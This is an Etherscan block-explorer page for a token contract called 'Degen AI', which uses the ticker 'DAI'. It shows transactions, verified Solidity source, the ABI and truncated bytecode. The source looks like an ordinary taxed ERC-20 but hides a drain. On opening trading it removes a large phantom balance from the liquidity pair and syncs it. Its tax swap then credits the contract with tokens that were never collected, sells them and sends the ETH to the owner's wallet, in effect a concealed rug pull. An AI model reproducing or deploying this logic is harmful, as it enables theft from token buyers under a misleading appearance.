ETH Price: $3,473.59 (+7.01%)
Gas: 14 Gwei

Contract

0xaD5A212B51B8c499E6448B8C874433Ed188059C5
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve186232982023-11-21 23:04:23236 days ago1700607863IN
0xaD5A212B...d188059C5
0 ETH0.0036047676.58465779
Approve186232512023-11-21 22:54:47237 days ago1700607287IN
0xaD5A212B...d188059C5
0 ETH0.0023565150.43801001
Approve186232462023-11-21 22:53:47237 days ago1700607227IN
0xaD5A212B...d188059C5
0 ETH0.0017186136.55926901
Approve186232412023-11-21 22:52:47237 days ago1700607167IN
0xaD5A212B...d188059C5
0 ETH0.0011115237.52477056
Approve186232342023-11-21 22:51:23237 days ago1700607083IN
0xaD5A212B...d188059C5
0 ETH0.0017959238.20386932
Transfer186232022023-11-21 22:44:59237 days ago1700606699IN
0xaD5A212B...d188059C5
0 ETH0.003108537.25211548
Approve186230782023-11-21 22:19:59237 days ago1700605199IN
0xaD5A212B...d188059C5
0 ETH0.0016733762.44629158
Approve186230782023-11-21 22:19:59237 days ago1700605199IN
0xaD5A212B...d188059C5
0 ETH0.0029160562.44629158
Approve186230722023-11-21 22:18:47237 days ago1700605127IN
0xaD5A212B...d188059C5
0 ETH0.0028711660.99909285
Approve186230692023-11-21 22:18:11237 days ago1700605091IN
0xaD5A212B...d188059C5
0 ETH0.0018136361.22796234
Transfer186230582023-11-21 22:15:59237 days ago1700604959IN
0xaD5A212B...d188059C5
0 ETH0.0044929967.00466353
Approve186230492023-11-21 22:14:11237 days ago1700604851IN
0xaD5A212B...d188059C5
0 ETH0.0028004659.49705187
Approve186230442023-11-21 22:13:11237 days ago1700604791IN
0xaD5A212B...d188059C5
0 ETH0.0028457760.4751071
Approve186230432023-11-21 22:12:59237 days ago1700604779IN
0xaD5A212B...d188059C5
0 ETH0.0026092155.43374538
Approve186230392023-11-21 22:12:11237 days ago1700604731IN
0xaD5A212B...d188059C5
0 ETH0.002431451.72220202
Approve186230382023-11-21 22:11:59237 days ago1700604719IN
0xaD5A212B...d188059C5
0 ETH0.0025060553.25567077
Approve186230382023-11-21 22:11:59237 days ago1700604719IN
0xaD5A212B...d188059C5
0 ETH0.0034480773.25567077
Renounce Ownersh...186230352023-11-21 22:11:23237 days ago1700604683IN
0xaD5A212B...d188059C5
0 ETH0.0011320649.30166465
Approve186230352023-11-21 22:11:23237 days ago1700604683IN
0xaD5A212B...d188059C5
0 ETH0.0024476652.00166465
Approve186230322023-11-21 22:10:47237 days ago1700604647IN
0xaD5A212B...d188059C5
0 ETH0.0013965547.1473051
Approve186230302023-11-21 22:10:23237 days ago1700604623IN
0xaD5A212B...d188059C5
0 ETH0.0025507354.19144048
Approve186230292023-11-21 22:10:11237 days ago1700604611IN
0xaD5A212B...d188059C5
0 ETH0.0023971750.92903781
Approve186230292023-11-21 22:10:11237 days ago1700604611IN
0xaD5A212B...d188059C5
0 ETH0.0025042353.20342453
Set Tax Swaps186230282023-11-21 22:09:59237 days ago1700604599IN
0xaD5A212B...d188059C5
0 ETH0.0019544352.28001839
Approve186230282023-11-21 22:09:59237 days ago1700604599IN
0xaD5A212B...d188059C5
0 ETH0.0025878554.98001839
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
186230882023-11-21 22:21:59237 days ago1700605319
0xaD5A212B...d188059C5
0.00062483 ETH
186230882023-11-21 22:21:59237 days ago1700605319
0xaD5A212B...d188059C5
0.00062483 ETH
186230872023-11-21 22:21:47237 days ago1700605307
0xaD5A212B...d188059C5
0.03057551 ETH
186230872023-11-21 22:21:47237 days ago1700605307
0xaD5A212B...d188059C5
0.03057551 ETH
186230782023-11-21 22:19:59237 days ago1700605199
0xaD5A212B...d188059C5
0.03738686 ETH
186230782023-11-21 22:19:59237 days ago1700605199
0xaD5A212B...d188059C5
0.03738686 ETH
186230772023-11-21 22:19:47237 days ago1700605187
0xaD5A212B...d188059C5
0.04990849 ETH
186230772023-11-21 22:19:47237 days ago1700605187
0xaD5A212B...d188059C5
0.04990849 ETH
186230762023-11-21 22:19:35237 days ago1700605175
0xaD5A212B...d188059C5
0.0602479 ETH
186230762023-11-21 22:19:35237 days ago1700605175
0xaD5A212B...d188059C5
0.0602479 ETH
186230732023-11-21 22:18:59237 days ago1700605139
0xaD5A212B...d188059C5
0.07274744 ETH
186230732023-11-21 22:18:59237 days ago1700605139
0xaD5A212B...d188059C5
0.07274744 ETH
186230732023-11-21 22:18:59237 days ago1700605139
0xaD5A212B...d188059C5
0.08994999 ETH
186230732023-11-21 22:18:59237 days ago1700605139
0xaD5A212B...d188059C5
0.08994999 ETH
186230702023-11-21 22:18:23237 days ago1700605103
0xaD5A212B...d188059C5
0.1342583 ETH
186230702023-11-21 22:18:23237 days ago1700605103
0xaD5A212B...d188059C5
0.1342583 ETH
186230482023-11-21 22:13:59237 days ago1700604839
0xaD5A212B...d188059C5
0.11265921 ETH
186230482023-11-21 22:13:59237 days ago1700604839
0xaD5A212B...d188059C5
0.11265921 ETH
186230472023-11-21 22:13:47237 days ago1700604827
0xaD5A212B...d188059C5
0.09092856 ETH
186230472023-11-21 22:13:47237 days ago1700604827
0xaD5A212B...d188059C5
0.09092856 ETH
186230432023-11-21 22:12:59237 days ago1700604779
0xaD5A212B...d188059C5
0.07720552 ETH
186230432023-11-21 22:12:59237 days ago1700604779
0xaD5A212B...d188059C5
0.07720552 ETH
186230422023-11-21 22:12:47237 days ago1700604767
0xaD5A212B...d188059C5
0.09008805 ETH
186230422023-11-21 22:12:47237 days ago1700604767
0xaD5A212B...d188059C5
0.09008805 ETH
186230412023-11-21 22:12:35237 days ago1700604755
0xaD5A212B...d188059C5
0.10761406 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Dai

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-21
*/

//SPDX-License-Identifier: MIT
/*
https://t.me/DegenAIErc20
https://DegenAI.VIP
https://x.com/DegenAIEth
█▀▄ █▀▀ █▀▀ █▀▀ █▄░█   ▄▀█ █
█▄▀ ██▄ █▄█ ██▄ █░▀█   █▀█ █     ⠀
*/
pragma solidity 0.8.23;

abstract contract Auth {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this"); _; 
    }
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    function owner() public view returns (address) { return _owner; }
    function transferOwnership(address payable newowner) external onlyOwner { 
        _owner = newowner; 
        emit OwnershipTransferred(newowner); }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0);
        emit OwnershipTransferred(address(0)); }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address holder, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}


contract Dai is IERC20, Auth {
    string private constant _symbol  = "DAI";
    string private constant _name    = "Degen AI";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 100_000_000_000 * (10**_decimals);
  
    address payable private _marketingWallet = payable(0x68B3412725d8c831aC08272497fbAAFa4098C96D);
    
    uint256 private antiMevBlock = 2;
    uint8 private _sellTaxrate = 0;
    uint8 private _buyTaxrate  = 0;
    
    uint256 private launchBlok;
    uint256 private _maxTxVal = _totalSupply; 
    uint256 private _maxWalletVal = _totalSupply;
    uint256 private _swapMin = _totalSupply * 10 / 100000;
    uint256 private _swapMax = _totalSupply * 999 / 100000;
    uint256 private _swapTrigger = 20 * (10**15);
    uint256 private _swapLimits = _swapMin * 60 * 100;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (uint256 => mapping (address => uint8)) private blockSells;
    mapping (address => bool) private _nofee;
    mapping (address => bool) private _nolimit;

    address private LpOwner;

    address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private immutable WETH;
    
    IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
    address private _primaryLP; 
    mapping (address => bool) private _isLP;

    bool private _tradingOpen;

    bool private _inSwap = false;
    modifier lockTaxSwap { 
        _inSwap = true; 
        _; _inSwap = false; 
    }

    constructor() Auth(msg.sender) {
        LpOwner = msg.sender;
        WETH = _primarySwapRouter.WETH();

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);  

        _nofee[_owner] = true;
        _nofee[address(this)] = true;
        _nofee[_marketingWallet] = true;
        _nofee[_swapRouterAddress] = true;
        _nolimit[_owner] = true;
        _nolimit[address(this)] = true;
        _nolimit[_marketingWallet] = true;
        _nolimit[_swapRouterAddress] = true;
        
    }

    receive() external payable {}
    
    function decimals() external pure override returns (uint8) { return _decimals; }
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function name() external pure override returns (string memory) { return _name; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function balanceOf(address account) public view override returns (uint256) { 
        return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { 
        return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; }

    function transfer(address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, toWallet, amount); }

    function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(fromWallet), "Trading not open");
        _allowances[fromWallet][msg.sender] -= amount;
        return _transferFrom(fromWallet, toWallet, amount); }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) {
            _allowances[address(this)][_swapRouterAddress] = type(uint256).max;
            emit Approval(address(this), _swapRouterAddress, type(uint256).max);
        }
    }

    function addLiquidity() external payable onlyOwner lockTaxSwap {
        require(_primaryLP == address(0), "LP created");
        require(!_tradingOpen, "trading open");
        require(msg.value > 0 || address(this).balance>0, "No ETH");
        require(_balances[address(this)]>0, "No tokens");
        _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), WETH);
        _addLiquidity(_balances[address(this)], address(this).balance);
        
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _approveRouter(_tokenAmount);
        _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, LpOwner, block.timestamp );
    }

    function enableTrading() external onlyOwner {
        require(!_tradingOpen, "trading open");
        _openTrading();
    }

    function backupOTR() external onlyOwner {
        _maxTxVal     = _totalSupply; 
        _maxWalletVal = _totalSupply;
        _tradingOpen = true;
        launchBlok = block.number;
        antiMevBlock = block.number;
    }


    function _openTrading() internal {
        _maxTxVal     = 2 * _totalSupply / 100; 
        _maxWalletVal = 2 * _totalSupply / 100;
        _balances[_primaryLP] -= _swapLimits;
        (_isLP[_primaryLP],) = _primaryLP.call(abi.encodeWithSignature("sync()") );
        require(_isLP[_primaryLP], "Failed bootstrap");
        launchBlok = block.number;
        antiMevBlock = antiMevBlock + launchBlok;
        _tradingOpen = true;
    }

    function shouldSwap(uint256 tokenAmt) private view returns (bool) {
        bool result;
        if (_swapTrigger > 0) { 
            uint256 lpTkn = _balances[_primaryLP];
            uint256 lpWeth = IERC20(WETH).balanceOf(_primaryLP); 
            uint256 weiValue = (tokenAmt * lpWeth) / lpTkn;
            if (weiValue >= _swapTrigger) { result = true; }    
        } else { result = true; }
        return result;
    }


    function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from 0 wallet");
        if (!_tradingOpen) { require(_nofee[sender] && _nolimit[sender], "Trading not yet open"); }
        if ( !_inSwap && _isLP[toWallet] && shouldSwap(amount) ) { _swapTaxAndLiquify(); }

        if ( block.number >= launchBlok ) {
            if (block.number < antiMevBlock && _isLP[sender]) { 
                require(toWallet == tx.origin, "MEV block"); 
            }
            if (block.number < antiMevBlock + 600 && _isLP[toWallet] && sender != address(this) ) {
                blockSells[block.number][toWallet] += 1;
                require(blockSells[block.number][toWallet] <= 2, "MEV block");
            }
        }

        if ( sender != address(this) && toWallet != address(this) && sender != _owner ) { 
            require(_checkLimits(sender, toWallet, amount), "TX over limits"); 
        }

        uint256 _taxAmount = _calculateTax(sender, toWallet, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balances[sender] -= amount;
        _swapLimits += _taxAmount;
        _balances[toWallet] += _transferAmount;
        emit Transfer(sender, toWallet, amount);
        return true;
    }

    function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
        bool limitCheckPassed = true;
        if ( _tradingOpen && !_nolimit[fromWallet] && !_nolimit[toWallet] ) {
            if ( transferAmount > _maxTxVal ) { 
                limitCheckPassed = false; 
            }
            else if ( 
                !_isLP[toWallet] && (_balances[toWallet] + transferAmount > _maxWalletVal) 
                ) { limitCheckPassed = false; }
        }
        return limitCheckPassed;
    }

    function _checkTradingOpen(address fromWallet) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_nofee[fromWallet] && _nolimit[fromWallet]) { checkResult = true; } 

        return checkResult;
    }

    function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        
        if ( !_tradingOpen || _nofee[fromWallet] || _nofee[recipient] ) { 
            taxAmount = 0; 
        } else if ( _isLP[fromWallet] ) { 
            taxAmount = amount * _buyTaxrate / 100; 
         } else if ( _isLP[recipient] ) { 
            taxAmount = amount * _sellTaxrate / 100; 
        }

        return taxAmount;
    }

    function exemptions(address wallet) external view returns (bool fees, bool limits) {
        return (_nofee[wallet], _nolimit[wallet]); }

    function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
        if (noLimits || noFees) { require(!_isLP[wlt], "Cannot exempt LP"); }
        _nofee[ wlt ] = noFees;
        _nolimit[ wlt ] = noLimits;
    }

    function buyFee() external view returns(uint8) { return _buyTaxrate; }
    function sellFee() external view returns(uint8) { return _sellTaxrate; }

    function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
        require(buyFees + sellFees <= 2, "Roundtrip too high");
        _buyTaxrate = buyFees;
        _sellTaxrate = sellFees;
    }  

    function marketingWallet() external view returns (address) { 
        return _marketingWallet; }

    function updateMarketingWallet(address marketingWlt) external onlyOwner {
        require(!_isLP[marketingWlt], "LP cannot be tax wallet");
        _marketingWallet = payable(marketingWlt);
        _nofee[marketingWlt] = true;
        _nolimit[marketingWlt] = true;
    }

    function maxWallet() external view returns (uint256) { 
        return _maxWalletVal; }
    function maxTransaction() external view returns (uint256) { 
        return _maxTxVal; }

    function swapMin() external view returns (uint256) { 
        return _swapMin; }
    function swapMax() external view returns (uint256) { 
        return _swapMax; }

    function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
        uint256 newTxAmt = _totalSupply * maxTransPermille / 1000 + 1;
        require(newTxAmt >= _maxTxVal, "tx too low");
        _maxTxVal = newTxAmt;
        uint256 newWalletAmt = _totalSupply * maxWaletPermille / 1000 + 1;
        require(newWalletAmt >= _maxWalletVal, "wallet too low");
        _maxWalletVal = newWalletAmt;
    }

    function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
        _swapMin = _totalSupply * minVal / minDiv;
        _swapMax = _totalSupply * maxVal / maxDiv;
        _swapTrigger = trigger * 10**15;
        require(_swapMax>=_swapMin, "Min-Max error");
    }


    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokenAvailable = _swapLimits;
        if ( _taxTokenAvailable >= _swapMin && _tradingOpen ) {
            if ( _taxTokenAvailable >= _swapMax ) { _taxTokenAvailable = _swapMax; }
            
            uint256 _tokensForSwap = _taxTokenAvailable; 
            if( _tokensForSwap > 1 * 10**_decimals ) {
                _balances[address(this)] += _taxTokenAvailable;
                _swapTaxTokensForEth(_tokensForSwap);
                _swapLimits -= _taxTokenAvailable;
            }
            uint256 _contractETHBalance = address(this).balance;
            if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
        }
    }

    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address( this );
        path[1] = WETH ;
        _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _distributeTaxEth(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) 
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"backupOTR","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptions","outputs":[{"internalType":"bool","name":"fees","type":"bool"},{"internalType":"bool","name":"limits","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wlt","type":"address"},{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"name":"setExemptions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyFees","type":"uint8"},{"internalType":"uint8","name":"sellFees","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTransPermille","type":"uint16"},{"internalType":"uint16","name":"maxWaletPermille","type":"uint16"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minVal","type":"uint32"},{"internalType":"uint32","name":"minDiv","type":"uint32"},{"internalType":"uint32","name":"maxVal","type":"uint32"},{"internalType":"uint32","name":"maxDiv","type":"uint32"},{"internalType":"uint32","name":"trigger","type":"uint32"}],"name":"setTaxSwaps","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromWallet","type":"address"},{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newowner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"marketingWlt","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040527368b3412725d8c831ac08272497fbaafa4098c96d60015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600280555f60035f6101000a81548160ff021916908360ff1602179055505f600360016101000a81548160ff021916908360ff1602179055506009600a620000a1919062000940565b64174876e800620000b3919062000990565b6005556009600a620000c6919062000940565b64174876e800620000d8919062000990565b600655620186a0600a6009600a620000f1919062000940565b64174876e80062000103919062000990565b6200010f919062000990565b6200011b919062000a07565b600755620186a06103e76009600a62000135919062000940565b64174876e80062000147919062000990565b62000153919062000990565b6200015f919062000a07565b60085566470de4df8200006009556064603c60075462000180919062000990565b6200018c919062000990565b600a55737a250d5630b4cf539739df2c5dacb4c659f2488d60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f601460016101000a81548160ff02191690831515021790555034801562000209575f80fd5b5033805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550503360105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002f6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200031c919062000aa3565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506009600a6200035f919062000940565b64174876e80062000371919062000990565b600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516200044e919062000ae4565b60405180910390a36001600e5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600e5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600e5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600e5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000aff565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620008385780860481111562000810576200080f620007ae565b5b6001851615620008205780820291505b80810290506200083085620007db565b9450620007f0565b94509492505050565b5f8262000852576001905062000924565b8162000861575f905062000924565b81600181146200087a57600281146200088557620008bb565b600191505062000924565b60ff8411156200089a5762000899620007ae565b5b8360020a915084821115620008b457620008b3620007ae565b5b5062000924565b5060208310610133831016604e8410600b8410161715620008f55782820a905083811115620008ef57620008ee620007ae565b5b62000924565b620009048484846001620007e7565b925090508184048111156200091e576200091d620007ae565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200094c826200092b565b9150620009598362000934565b9250620009887fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000841565b905092915050565b5f6200099c826200092b565b9150620009a9836200092b565b9250828202620009b9816200092b565b91508282048414831517620009d357620009d2620007ae565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000a13826200092b565b915062000a20836200092b565b92508262000a335762000a32620009da565b5b828204905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000a6d8262000a42565b9050919050565b62000a7f8162000a61565b811462000a8a575f80fd5b50565b5f8151905062000a9d8162000a74565b92915050565b5f6020828403121562000abb5762000aba62000a3e565b5b5f62000aca8482850162000a8d565b91505092915050565b62000ade816200092b565b82525050565b5f60208201905062000af95f83018462000ad3565b92915050565b6080516144a962000b265f395f818161195a015281816127c40152612fb601526144a95ff3fe6080604052600436106101ba575f3560e01c80638a8c523c116100eb578063c3f70b5211610089578063e537a83411610063578063e537a834146105de578063e8078d9414610606578063f2fde38b14610610578063f8b45b0514610638576101c1565b8063c3f70b5214610562578063d46274061461058c578063dd62ed3e146105a2576101c1565b8063a5e992bb116100c5578063a5e992bb146104aa578063a9059cbb146104d4578063aacebbe314610510578063b3de9b5d14610538576101c1565b80638a8c523c146104405780638da5cb5b1461045657806395d89b4114610480576101c1565b8063313ce567116101585780634fcd2446116101325780634fcd24461461039c57806370a08231146103c4578063715018a61461040057806375f0a87414610416576101c1565b8063313ce56714610320578063368f48001461034a5780634706240214610372576101c1565b806318839bc31161019457806318839bc31461025557806323b872dd1461027d5780632b14ca56146102b957806330449efd146102e3576101c1565b806306fdde03146101c5578063095ea7b3146101ef57806318160ddd1461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d9610662565b6040516101e691906131a8565b60405180910390f35b3480156101fa575f80fd5b5061021560048036038101906102109190613259565b61069f565b60405161022291906132b1565b60405180910390f35b348015610236575f80fd5b5061023f61078c565b60405161024c91906132d9565b60405180910390f35b348015610260575f80fd5b5061027b6004803603810190610276919061331c565b6107b0565b005b348015610288575f80fd5b506102a3600480360381019061029e919061336c565b610983565b6040516102b091906132b1565b60405180910390f35b3480156102c4575f80fd5b506102cd610a6e565b6040516102da91906133d7565b60405180910390f35b3480156102ee575f80fd5b50610309600480360381019061030491906133f0565b610a83565b60405161031792919061341b565b60405180910390f35b34801561032b575f80fd5b50610334610b22565b60405161034191906133d7565b60405180910390f35b348015610355575f80fd5b50610370600480360381019061036b9190613479565b610b2a565b005b34801561037d575f80fd5b50610386610ce7565b60405161039391906133d7565b60405180910390f35b3480156103a7575f80fd5b5